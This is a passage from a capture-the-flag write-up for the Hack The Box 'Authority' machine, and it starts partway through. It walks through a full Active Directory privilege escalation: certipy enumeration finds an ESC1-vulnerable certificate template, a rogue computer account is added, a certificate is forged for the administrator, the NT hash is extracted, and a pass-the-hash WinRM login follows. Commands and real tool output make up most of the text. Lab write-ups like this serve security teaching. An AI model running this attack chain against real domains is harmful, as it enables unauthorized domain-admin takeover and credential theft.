SMB         10.129.44.35    445    AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r!
milksteak➜  authority  ᐅ  evil-winrm -i 10.129.44.35 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> 

Shell as Administrator

ADCS

With authenticated access established as svc_ldap , the assessment pivoted to ADCS enumeration.

The certipy tool was used to query the Certificate Authority and identify templates vulnerable to abuse

milksteak➜  authority  ᐅ  certipy-ad find -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -target authority.htb -text -stdout -vulnerable
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: authority.htb.
[!] Use -debug to print a stacktrace
[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 21 issuance policies
[*] Found 0 OIDs linked to templates
[!] DNS resolution failed: The DNS query name does not exist: authority.authority.htb.
[!] Use -debug to print a stacktrace
[*] Retrieving CA configuration for 'AUTHORITY-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'AUTHORITY-CA'
[*] Checking web enrollment for CA 'AUTHORITY-CA' @ 'authority.authority.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : AUTHORITY-CA
    DNS Name                            : authority.authority.htb
    Certificate Subject                 : CN=AUTHORITY-CA, DC=authority, DC=htb
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00
    Certificate Validity End            : 2123-04-24 01:56:25+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : AUTHORITY.HTB\Administrators
      Access Rights
        ManageCa                        : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        ManageCertificates              : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Enroll                          : AUTHORITY.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollmentCheckUserDsCertificate
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
                                          Document Signing
                                          IP security IKE intermediate
                                          IP security use
                                          KDC Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 20 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2023-03-24T23:48:09+00:00
    Template Last Modified              : 2023-03-24T23:48:11+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : AUTHORITY.HTB\Administrator
        Full Control Principals         : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Write Owner Principals          : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Write Dacl Principals           : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Write Property Enroll           : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
    [+] User Enrollable Principals      : AUTHORITY.HTB\Domain Computers
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

ADCS enumeration via Certipy identified a vulnerable certificate template named CorpVPN. Enrollment rights were restricted to Domain Computers, but the default MAchineAccountQuota of 10 meant any authenticated domain user could create a computer account and enroll on its behalf. This combination represent a ESC1 vulnerability

Authenticated LDAP enumeration confirmed the MachineAccountQuota attribute was set to 10:

milksteak➜  authority  ᐅ  nxc ldap 10.129.229.56 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -M maq
LDAP        10.129.229.56   389    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never) 
LDAP        10.129.229.56   389    AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! 
MAQ         10.129.229.56   389    AUTHORITY        [*] Getting the MachineAccountQuota
MAQ         10.129.229.56   389    AUTHORITY        MachineAccountQuota: 10

With MachineAccountQuota confirmed at 10, a new computer account was added ti the domain using impacket-addcomputer with a custom machine name and password for operational clarity

milksteak➜  authority  ᐅ  impacket-addcomputer 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' -method LDAPS -computer-name 0x11 -computer-pass 0x110x110x11 -dc-ip 10.129.229.56
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account 0x11$ with password 0x110x110x11.

With the custom domain computer account 0x11$ created and joined to the domain, the ESC1 attack chain proceeded to the certificate enrollment phase. A certificate request was submitted to the AUTHORITY-CA for the CorpVPN template, specifying the UPN administrator@authority.htb

milksteak➜  authority  ᐅ  certipy-ad req -u '0x11$' -p '0x110x110x11' -target authority.htb -ca AUTHORITY-CA -template CorpVPN -upn administrator@authority.htb
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: authority.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@authority.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Now we attempt to authenticate with the saved cert (administrator.pfx) in a Pass-The-Cert attack to get TGT

milksteak➜  authority  ᐅ  certipy-ad auth -pfx administrator.pfx -domain authority.htb -dc-ip 10.129.229.56 -debug
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations
[+] Nameserver: '10.129.229.56'
[+] DC IP: '10.129.229.56'
[+] DC Host: ''
[+] Target IP: '10.129.229.56'
[+] Remote Name: '10.129.229.56'
[+] Domain: ''
[+] Username: ''
[*] Certificate identities:
[*]     SAN UPN: 'administrator@authority.htb'
[*] Using principal: 'administrator@authority.htb'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC authority.htb (10.129.229.56)
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[+] Attempting to write data to 'administrator.ccache'
[+] Data written to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@authority.htb': aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed

Authored wia PKINIT, the administrator certificate was used to request a Kerberos TGT from the domain controller. The TGT was converted to reveal the NTLM hash for administrator@authority.htb , completing the privilege escalation from a low-privileged service account to Domain Admin

milksteak➜  authority  ᐅ  evil-winrm -i 10.129.229.56 -u administrator -H '6961f422924da90a6928197429eea4ed'
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ..\Desktop\root.txt